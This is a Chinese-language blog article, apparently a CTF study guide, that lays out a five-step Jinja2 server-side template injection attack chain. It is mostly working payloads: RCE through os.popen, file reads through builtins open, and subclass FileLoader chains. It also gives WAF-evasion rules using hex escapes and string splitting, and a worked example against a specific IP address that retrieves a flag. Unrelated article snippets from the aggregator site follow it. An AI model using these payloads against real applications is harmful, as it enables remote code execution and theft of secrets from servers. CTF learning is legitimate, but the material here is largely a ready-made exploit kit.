news 2026/7/5 1:07:21

SSTI攻击链构造手册(带WAF绕过)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SSTI攻击链构造手册(带WAF绕过)

SSTI攻击链构造手册 - 从看懂到自己写

适用人群:能看懂payload但自己写不出来的同学
核心目标:给你一个"填空模板",照着填就能构造出payload
作者:K1NG(原创)


一、核心问题:为什么你写不出来?

你的现状

看到payload:哦,我懂了! 自己写:呃...先写什么来着?这个attr放哪?引号怎么配对?

原因

不是你笨,是你缺一个固定模板。就像做菜,你看了100道菜谱,但如果没人告诉你"先热油、再放葱、最后放菜"的顺序,你还是不会做。

解决方案

记住一个5步攻击链,每次做题照着走:


二、SSTI五步攻击链(背下来!)

第1步:验证漏洞 → 确认有SSTI 第2步:信息收集 → 看config里有没有flag 第3步:选择武器 → 决定用哪条链 第4步:构造payload → 按模板填空 第5步:绕过WAF → 遇到过滤就替换

三、每一步详细操作

第1步:验证漏洞

目标:确认网站有SSTI漏洞

操作:输入{{7*7}}

判断

  • 返回49→ 有SSTI,继续
  • 返回{{7*7}}→ 没有SSTI(原样输出)
  • 返回BLOCKED→ 有WAF,看第5步

第2步:信息收集

目标:看flag藏在哪

按顺序试这三个

试1:{{config}} → 找 SECRET_KEY,如果有flag值 → 直接拿到了! 试2:{{url_for.__globals__['os'].popen('ls').read()}} → 看文件列表,有flag文件 → cat它 试3:{{url_for.__globals__['os'].popen('env').read()}} → 看环境变量,有FLAG= → 直接拿到

如果没有WAF,这三个就够了!90%的题用试2就能解。


第3步:选择武器(核心!)

有3条攻击链,按优先级选

武器A:RCE万能指令(最常用,先试这个)
{{url_for.__globals__['os'].popen('命令').read()}}

什么时候用:没有WAF,或WAF较弱

用法:把"命令"换成lscat flagenv


武器B:open读文件(WAF拦了os/popen时用)
{{lipsum.__globals__['__builtins__']['open']('/flag').read()}}

什么时候用:os被拦、popen被拦,但open没被拦

链路

lipsum → __globals__ → __builtins__ → open → 读文件 → read

武器C:类继承链+FileLoader(全被拦时用)
{{().__class__.__bases__[0].__subclasses__()[91].get_data(0,'/flag')}}

什么时候用:连open都被拦,但FileLoader能用

链路

() → __class__ → __bases__[0] → __subclasses__()[91] → get_data → 读文件

第4步:构造payload(填空模板!)

这是最关键的一步。payload不是乱写的,有固定结构。

模板结构(像写信一样有格式)
{%动作%} 对象 |方法1 |方法2 |方法3 (参数) |方法4 (参数) %}

翻译成人话:

{%print%} 入口点 |attr("钥匙1") |attr("钥匙2") ("开锁密码") |attr("钥匙3") ("文件名") |attr("钥匙4")() %}
具体填空(以武器B为例)

你要读 /flag 文件,一步步填

第1空:入口点 → lipsum(固定,不用想) 第2空:第一把钥匙 → __globals__(固定,进入全局变量) 第3空:第二把钥匙 → __getitem__(固定,用来取值) 第4空:开锁密码1 → __builtins__(固定,进入内置函数库) 第5空:第三把钥匙 → __getitem__(固定,再取值) 第6空:开锁密码2 → open(要用的函数) 第7空:文件名 → /flag(要读的文件) 第8空:最后一把钥匙 → read(读取内容)

填入模板

{%print lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("open")("/flag")|attr("read")()%}
记住这个骨架!
{%print 入口|attr(钥匙)|attr(钥匙)(密码)|attr(钥匙)(密码)|attr(钥匙)(目标)|attr(钥匙)()%} ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ lipsum globals getitem builtins getitem open /flag read

第5步:绕过WAF(替换表)

核心原则:WAF拦什么,你就拆什么。

替换对照表(贴在桌上看!)
被拦的替换成原理
{{ }}{%print %}用print语句替代输出
.(点号)|attr("xxx")用过滤器替代点号
__\x5f\x5fhex编码绕过
__"_"~"_"字符串拼接绕过
被拦的关键字"前半"~"后半"拆成两半用~拼接
'(单引号)"(双引号)换一种引号
[](中括号)|attr("__getitem__")()用方法替代
{{}}被拦{%if 条件%}结果{%endif%}用if语句
绕过的万能公式
任何被拦的关键字 → 拆成两半,中间加 ~

举例:

open 被拦 → "op"~"en" flag 被拦 → "fl"~"ag" read 被拦 → "re"~"ad" globals 被拦 → "glob"~"als" builtins 被拦 → "built"~"ins" __ 被拦 → \x5f\x5f

四、实战演练:从零构造WAF题payload

用刚做的那道WAF题,演示怎么从零构造:

题目信息

  • 网址:http://118.178.137.13:33007/greet
  • 参数:name
  • WAF拦截:{{__ospopenopenreadflagglobalsbuiltinsconfig

构造过程

第1步:验证
输入 {{7*7}} → BLOCKED: found '{{'

{{}}被拦,换{%print%}

输入 {%print 7*7%} → 返回49 ✓
第2步:试config
输入 {%print config%} → BLOCKED: found 'config'

→ config被拦,放弃,直接上RCE

第3步:选武器

试武器A(RCE):

{%print url_for.__globals__['os'].popen('ls').read()%} → BLOCKED: found '__' → BLOCKED: found 'os' → BLOCKED: found 'popen'

太多被拦,换武器B(open)。

第4步:构造武器B的payload

先写不带绕过的原始版

{%print lipsum.__globals__['__builtins__']['open']('/flag').read()%}

然后逐个替换被拦的部分

原始被拦?替换成
.没测,先换|attr("xxx")
__globals____globals被拦|attr("\x5f\x5fglob"~"als\x5f\x5f")
['__builtins__']__builtins被拦|attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f")
['open']open被拦|attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en")
('/flag')flag被拦("/fl"~"ag")
.read().read被拦|attr("re"~"ad")()

最终拼接结果

{%print lipsum|attr("\x5f\x5fglob"~"als\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en")("/fl"~"ag")|attr("re"~"ad")()%}
第5步:验证
发送 → flag{2cbe47b7-a66b-46fd-841b-d026fab105c9} ✓

五、payload构造速查卡(贴桌上的!)

5.1 三条武器链对照

武器A(RCE,最简单): {%print url_for|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("o"~"s")|attr("pop"~"en")("命令")|attr("re"~"ad")()%} 武器B(open读文件): {%print lipsum|attr("\x5f\x5fglob"~"als\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en")("/fl"~"ag")|attr("re"~"ad")()%} 武器C(FileLoader): {%print ()|attr("\x5f\x5fcl"~"ass\x5f\x5f")|attr("\x5f\x5fba"~"ses\x5f\x5f")|first|attr("\x5f\x5fsub"~"classes\x5f\x5f")()|attr("pop")(91)|attr("get"~"_data")(0,"/fl"~"ag")%}

5.2 常用命令填空

看文件列表: popen("ls") 看根目录: popen("ls /") 读文件: popen("cat /fl"~"ag") 看环境变量: popen("env") 搜索文件: popen("find / -name fl"~"ag*")

5.3 绕过填空模板

原始代码: 被拦关键字.方法(参数) ↓ 绕过版: 入口|attr("\x5f\x5f拆"~"开\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("拆"~"开") 规则: 1. . → |attr() 2. __ → \x5f\x5f 3. 关键字 → "前半"~"后半" 4. [] → |attr("\x5f\x5fgetitem\x5f\x5f")() 5. {{}} → {%print %}

六、做SSTI题的完整流程图

开始 ↓ 输入 {{7*7}} ↓ 返回49?──No──→ 不是SSTI,换题 ↓Yes 有WAF? ↓Yes 测试WAF拦了什么(逐个关键字测试) ↓ {{}}被拦?→ 用{%print%} .被拦? → 用|attr() __被拦? → 用\x5f\x5f 关键字被拦?→ 用"前半"~"后半"拼接 ↓ 构造payload(按5.1的模板填空) ↓ 试武器B(open读文件) ↓ 失败?→ 试武器C(FileLoader) ↓ 拿到flag! ↓ 没WAF? ↓Yes 直接用武器A:{{url_for.__globals__['os'].popen('cat /flag').read()}} ↓ config有flag?→ 直接{{config}} ↓ 文件有flag? → cat flag ↓ 环境变量有? → env ↓ 搞定!

七、练习建议

7.1 背诵清单

把这4行背下来,做题时往里填:

1. 验证:{%print 7*7%} 2. RCE:{%print url_for|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("命令")|attr("read")()%} 3. open:{%print lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("open")("/flag")|attr("read")()%} 4. FileLoader:{%print ()|attr("__class__")|attr("__bases__")|first|attr("__subclasses__")()|attr("pop")(91)|attr("get_data")(0,"/flag")%}

7.2 练习方法

  1. 先背模板(不绕过的版本)
  2. 每次做题,先写不绕过的原始版
  3. 再逐个替换被拦的部分
  4. 记住:先写对,再绕过

7.3 常见错误

  • ❌ 一上来就写绕过版,自己都看不懂
  • ✅ 先写原始版,确认链路对,再逐个绕过
  • ❌ 忘记引号配对
  • ✅ 用双引号,避免和单引号混淆

八、一句话总结

SSTI payload不是"写"出来的,是"填空"填出来的。

记住模板 → 填入口点和目标 → 遇到WAF就替换 → 搞定。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/5 1:06:56

创客指南:oDrive X2212电机从零到闭环的完整配置流程

1. 硬件准备与连接第一次拿到oDrive和X2212电机时,我盯着桌上这堆零件有点懵——主板、电机、编码器线、电源线,还有各种杜邦线。后来发现只要理清思路,连接其实比想象中简单。最关键的三个部件:oDrive主板(带散热片那…

作者头像 李华
网站建设 2026/7/5 1:04:30

香农公式极限推导

物理量及单位 信号功率SSS:瓦特(W) 噪声功率谱密度N0N_0N0​:瓦特/赫兹(W/Hz) 信道容量CCC:比特/秒(bps) 信道带宽BBB:赫兹(Hz) 推导过程(单式极限近似) 当信噪比SN0B≪1\frac{S}{N_0 B} \ll 1N0​BS​≪1时,利用log⁡2(1+x)≈xlog⁡2e\log_2(1+x) \approx x \…

作者头像 李华
网站建设 2026/7/5 1:03:03

R语言多分类Logistic回归变量筛选实战:最优子集与逐步回归

这次我们来看一个在R语言中构建多分类Logistic回归模型,并应用最优子集选择和逐步回归进行变量筛选的实战项目。对于数据分析师和机器学习实践者来说,面对包含多个预测变量的分类问题时,如何从众多特征中挑选出最相关、最简洁的子集来构建一个…

作者头像 李华
网站建设 2026/7/5 1:02:00

2026免费好用的去水印软件推荐:电脑手机在线工具优缺点对比

日常处理个人图片、短视频素材时,水印遮挡画面、影响素材整洁度是很多人都会遇到的问题。无论是整理自己拍摄的视频、备份已授权的素材,还是清理截图、海报上的多余标识,一款合适的去水印工具都能大幅提升效率。2026年市面上的去水印工具品类…

作者头像 李华